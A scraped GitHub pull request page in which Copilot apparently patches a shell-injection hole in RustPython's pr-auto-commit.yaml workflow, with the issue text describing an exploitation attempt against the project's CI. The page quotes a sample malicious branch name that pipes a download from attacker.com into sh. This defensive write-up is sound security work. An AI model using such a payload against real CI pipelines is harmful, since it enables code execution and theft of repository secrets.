René's URL Explorer Experiment


Title: Fix shell injection via branch name in pr-auto-commit.yaml by Copilot · Pull Request #7314 · RustPython/RustPython · GitHub

Open Graph Title: Fix shell injection via branch name in pr-auto-commit.yaml by Copilot · Pull Request #7314 · RustPython/RustPython

X Title: Fix shell injection via branch name in pr-auto-commit.yaml by Copilot · Pull Request #7314 · RustPython/RustPython

Description: pr-auto-commit.yaml runs under pull_request_target (base-repo context, access to secrets) and directly interpolates ${{ github.event.pull_request.head.ref }} into run: shell blocks — an attacker-controlled branch name like main$(curl attacker.com | sh) executes arbitrary code with access to AUTO_COMMIT_PAT and GITHUB_TOKEN. This was actively exploited by hackerbot-claw on 2026-03-02. Changes Push step: Move branch name out of inline expression into an env var; reference via "$HEAD_REF" in shell. # Before run: | git push origin HEAD:${{ github.event.pull_request.head.ref }} # After env: HEAD_REF: ${{ github.event.pull_request.head.ref }} run: | git push origin HEAD:"$HEAD_REF" Comment step: Capture the branch name safely as a step output (echo "head_ref=$HEAD_REF" >> $GITHUB_OUTPUT) and reference ${{ steps.committed-commands.outputs.head_ref }} in the message instead of re-interpolating head.ref directly. Original prompt This section details on the original issue you should resolve Security: Branch name injection in pr-auto-commit.yaml — actively exploited by hackerbot-claw ## Summary The pr-auto-commit.yaml workflow is vulnerable to shell command injection via branch names. The ${{ github.event.pull_request.head.ref }} expression is interpolated directly into run: blocks without sanitization, allowing an attacker to execute arbitrary commands on the GitHub Actions runner with access to repository secrets (including AUTO_COMMIT_PAT). This vulnerability has already been exploited. On March 2, 2026, the account hackerbot-claw — an autonomous bot that has been attacking CI/CD pipelines across major open source projects — opened two PRs (#7308, #7309) with a malicious branch name designed to trigger code execution. The payload partially executed on the CI runner but failed due to a base64 encoding issue — not because of any security control. Vulnerable Code File: .github/workflows/pr-auto-commit.yaml Primary injection point — "Push formatting changes" step (line ~97): - name: Push formatting changes if: steps.check-changes.outputs.has_changes == 'true' run: | git push origin HEAD:${{ github.event.pull_request.head.ref }} Secondary injection point — "Comment on PR" step (line ~119): git pull origin ${{ github.event.pull_request.head.ref }} Because the workflow uses pull_request_target, it runs in the context of the base repository with access to secrets and write permissions. The attacker controls the branch name (head.ref) via their fork. Evidence from workflow runs Run 22563211110 (PR #7308): The injection step was skipped because has_changes was false — the trivial change to bench.sh didn't trigger formatting differences. Run 22563415110 (PR #7309): The injection step executed. The build log shows base64: invalid input, confirming the shell evaluated the command substitution. The full payload failed due to an encoding issue in the branch name, but the base64 -d command did run on the runner. Impact If the payload had succeeded, the attacker would have had access to: AUTO_COMMIT_PAT — a Personal Access Token available as a secret in this workflow, which could be used to push commits, modify code, or potentially take over the repository (similar to what happened to aquasecurity/trivy in the same campaign) GITHUB_TOKEN with contents: write and pull-requests: write permissions Context https://www.stepsecurity.io/blog/hackerbot-claw-github-actions-exploitation Create a patch to prevent injection by following the description Comments on the Issue (you are @copilot in this section) Fixes #7311 🔒 GitHub Advanced Security automatically protects Copilot coding agent pull requests. You can protect all pull requests by enabling Advanced Security for your repositories. Learn more about Advanced Security.

Open Graph Description: pr-auto-commit.yaml runs under pull_request_target (base-repo context, access to secrets) and directly interpolates ${{ github.event.pull_request.head.ref }} into run: shell blocks — an attacker-co...

X Description: pr-auto-commit.yaml runs under pull_request_target (base-repo context, access to secrets) and directly interpolates ${{ github.event.pull_request.head.ref }} into run: shell blocks — an attacker-co...

Opengraph URL: https://github.com/RustPython/RustPython/pull/7314

X: @github

direct link

Domain: github.com

route-pattern/:user_id/:repository/pull/:id/files(.:format)
route-controllerpull_requests
route-actionfiles
fetch-noncev2:fc6e23c8-2744-702f-c77f-b9a40f534104
current-catalog-service-hashae870bc5e265a340912cde392f23dad3671a0a881730ffdadd82f2f57d81641b
request-idD9B2:32D846:F2A983:15E77A3:6A5F4694
html-safe-noncef2d496a6028ff0830a8f13b71493a2c3ffe1a8bf483f3efd64d502d361a3dedb
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEOUIyOjMyRDg0NjpGMkE5ODM6MTVFNzdBMzo2QTVGNDY5NCIsInZpc2l0b3JfaWQiOiIxNzMyMzE2MjM1NjM1OTMzNjUiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ==
visitor-hmac91c920bbdfa4ccfc3698c5fb475ec2be8e6bf9e2ebdea0f991bd50849e849d60
hovercard-subject-tagpull_request:3343538411
github-keyboard-shortcutsrepository,pull-request-list,pull-request-conversation,pull-request-files-changed,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///pull_requests/show/files
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/RustPython/RustPython/pull/7314/files
twitter:imagehttps://avatars.githubusercontent.com/in/1143301?s=400&v=4
twitter:cardsummary_large_image
og:imagehttps://avatars.githubusercontent.com/in/1143301?s=400&v=4
og:image:altpr-auto-commit.yaml runs under pull_request_target (base-repo context, access to secrets) and directly interpolates ${{ github.event.pull_request.head.ref }} into run: shell blocks — an attacker-co...
og:site_nameGitHub
og:typeobject
hostnamegithub.com
expected-hostnamegithub.com
Noneab2497d9345a59709926b385d88458fa5932c82ec066288448eb68b34cbcbbda
turbo-cache-controlno-preview
diff-viewunified
go-importgithub.com/RustPython/RustPython git https://github.com/RustPython/RustPython.git
octolytics-dimension-user_id39710557
octolytics-dimension-user_loginRustPython
octolytics-dimension-repository_id135201145
octolytics-dimension-repository_nwoRustPython/RustPython
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id135201145
octolytics-dimension-repository_network_root_nwoRustPython/RustPython
turbo-body-classeslogged-out env-production page-responsive
disable-turbotrue
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
releaseba0ac57287507693938b0a2de45402a22cda0785
ui-targetcanary-2
theme-color#1e2327
color-schemelight dark

Links:

Skip to contenthttps://github.com/RustPython/RustPython/pull/7314/files#start-of-content
https://github.com/
Sign in https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2FRustPython%2FRustPython%2Fpull%2F7314%2Ffiles
GitHub CopilotWrite better code with AIhttps://github.com/features/copilot
GitHub Copilot appDirect agents from issue to mergehttps://github.com/features/ai/github-app
MCP RegistryNewIntegrate external toolshttps://github.com/mcp
ActionsAutomate any workflowhttps://github.com/features/actions
CodespacesInstant dev environmentshttps://github.com/features/codespaces
IssuesPlan and track workhttps://github.com/features/issues
Code ReviewManage code changeshttps://github.com/features/code-review
Code QualityEnforce quality at mergehttps://github.com/features/code-quality
GitHub Advanced SecurityFind and fix vulnerabilitieshttps://github.com/security/advanced-security
Code securitySecure your code as you buildhttps://github.com/security/advanced-security/code-security
Secret protectionStop leaks before they starthttps://github.com/security/advanced-security/secret-protection
Why GitHubhttps://github.com/why-github
Documentationhttps://docs.github.com
Bloghttps://github.blog
Changeloghttps://github.blog/changelog
Marketplacehttps://github.com/marketplace
View all featureshttps://github.com/features
Enterpriseshttps://github.com/enterprise
Small and medium teamshttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
App Modernizationhttps://github.com/solutions/use-case/app-modernization
DevSecOpshttps://github.com/solutions/use-case/devsecops
DevOpshttps://github.com/solutions/use-case/devops
CI/CDhttps://github.com/solutions/use-case/ci-cd
View all use caseshttps://github.com/solutions/use-case
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
View all industrieshttps://github.com/solutions/industry
View all solutionshttps://github.com/solutions
AIhttps://github.com/resources/articles?topic=ai
Software Developmenthttps://github.com/resources/articles?topic=software-development
DevOpshttps://github.com/resources/articles?topic=devops
Securityhttps://github.com/resources/articles?topic=security
View all topicshttps://github.com/resources/articles
Customer storieshttps://github.com/customer-stories
Events & webinarshttps://github.com/resources/events
Ebooks & reportshttps://github.com/resources/whitepapers
Business insightshttps://github.com/solutions/executive-insights
GitHub Skillshttps://skills.github.com
Documentationhttps://docs.github.com
Customer supporthttps://support.github.com
Community forumhttps://github.com/orgs/community/discussions
Trust centerhttps://github.com/trust-center
Partnershttps://github.com/partners
View all resourceshttps://github.com/resources
GitHub SponsorsFund open source developershttps://github.com/open-source/sponsors
Security Labhttps://securitylab.github.com
Maintainer Communityhttps://maintainers.github.com
Acceleratorhttps://github.com/open-source/accelerator
GitHub Starshttps://stars.github.com
Archive Programhttps://archiveprogram.github.com
Topicshttps://github.com/topics
Trendinghttps://github.com/trending
Collectionshttps://github.com/collections
Enterprise platformAI-powered developer platformhttps://github.com/enterprise
GitHub Advanced SecurityEnterprise-grade security featureshttps://github.com/security/advanced-security
Copilot for BusinessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Pricinghttps://github.com/pricing
Search syntax tipshttps://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
documentationhttps://docs.github.com/search-github/github-code-search/understanding-github-code-search-syntax
Sign in https://github.com/login?return_to=https%3A%2F%2Fgithub.com%2FRustPython%2FRustPython%2Fpull%2F7314%2Ffiles
Sign up https://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fpull_requests%2Fshow%2Ffiles&source=header-repo&source_repo=RustPython%2FRustPython
Reloadhttps://github.com/RustPython/RustPython/pull/7314/files
Reloadhttps://github.com/RustPython/RustPython/pull/7314/files
Reloadhttps://github.com/RustPython/RustPython/pull/7314/files
Please reload this pagehttps://github.com/RustPython/RustPython/pull/7314/files
RustPython https://github.com/RustPython
RustPythonhttps://github.com/RustPython/RustPython
Notifications https://github.com/login?return_to=%2FRustPython%2FRustPython
Fork 1.5k https://github.com/login?return_to=%2FRustPython%2FRustPython
Star 22.2k https://github.com/login?return_to=%2FRustPython%2FRustPython
Code https://github.com/RustPython/RustPython
Issues 293 https://github.com/RustPython/RustPython/issues
Pull requests 103 https://github.com/RustPython/RustPython/pulls
Discussions https://github.com/RustPython/RustPython/discussions
Actions https://github.com/RustPython/RustPython/actions
Projects https://github.com/RustPython/RustPython/projects
Models https://github.com/RustPython/RustPython/models
Wiki https://github.com/RustPython/RustPython/wiki
Security and quality 0 https://github.com/RustPython/RustPython/security
Insights https://github.com/RustPython/RustPython/pulse
Code https://github.com/RustPython/RustPython
Issues https://github.com/RustPython/RustPython/issues
Pull requests https://github.com/RustPython/RustPython/pulls
Discussions https://github.com/RustPython/RustPython/discussions
Actions https://github.com/RustPython/RustPython/actions
Projects https://github.com/RustPython/RustPython/projects
Models https://github.com/RustPython/RustPython/models
Wiki https://github.com/RustPython/RustPython/wiki
Security and quality https://github.com/RustPython/RustPython/security
Insights https://github.com/RustPython/RustPython/pulse
Sign up for GitHub https://github.com/signup?return_to=%2FRustPython%2FRustPython%2Fissues%2Fnew%2Fchoose
terms of servicehttps://docs.github.com/terms
privacy statementhttps://docs.github.com/privacy
Sign inhttps://github.com/login?return_to=%2FRustPython%2FRustPython%2Fissues%2Fnew%2Fchoose
Copilothttps://github.com/apps/copilot-swe-agent
mainhttps://github.com/RustPython/RustPython/tree/main
copilot/fix-branch-name-injectionhttps://github.com/RustPython/RustPython/tree/copilot/fix-branch-name-injection
Conversation 2 https://github.com/RustPython/RustPython/pull/7314
Commits 2 https://github.com/RustPython/RustPython/pull/7314/commits
Checks 0 https://github.com/RustPython/RustPython/pull/7314/checks
Files changed https://github.com/RustPython/RustPython/pull/7314/files
Please reload this pagehttps://github.com/RustPython/RustPython/pull/7314/files
Fix shell injection via branch name in pr-auto-commit.yaml https://github.com/RustPython/RustPython/pull/7314/files#top
Show all changes 2 commits https://github.com/RustPython/RustPython/pull/7314/files
62c6cd3 Initial plan Copilot Mar 2, 2026 https://github.com/RustPython/RustPython/pull/7314/commits/62c6cd340a3fdd06dbc2cd837587c96013d249f6
4595819 Fix shell injection via branch name in pr-auto-commit.yaml Copilot Mar 2, 2026 https://github.com/RustPython/RustPython/pull/7314/commits/4595819b69ddbb04a75e43398410dbac072ec701
Clear filters https://github.com/RustPython/RustPython/pull/7314/files
Please reload this pagehttps://github.com/RustPython/RustPython/pull/7314/files
Please reload this pagehttps://github.com/RustPython/RustPython/pull/7314/files
.github/workflows/pr-auto-commit.yamlhttps://github.com/RustPython/RustPython/pull/7314/files#diff-a8b1a8f659011e15440eecce5e13f5c5a02b979832f4257950910884f8cce017
View file https://github.com/RustPython/RustPython/blob/4595819b69ddbb04a75e43398410dbac072ec701/.github/workflows/pr-auto-commit.yaml
Open in desktop https://desktop.github.com
https://github.co/hiddenchars
https://github.com/RustPython/RustPython/pull/7314/{{ revealButtonHref }}
https://github.com/RustPython/RustPython/pull/7314/files#diff-a8b1a8f659011e15440eecce5e13f5c5a02b979832f4257950910884f8cce017
https://github.com/RustPython/RustPython/pull/7314/files#diff-a8b1a8f659011e15440eecce5e13f5c5a02b979832f4257950910884f8cce017
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.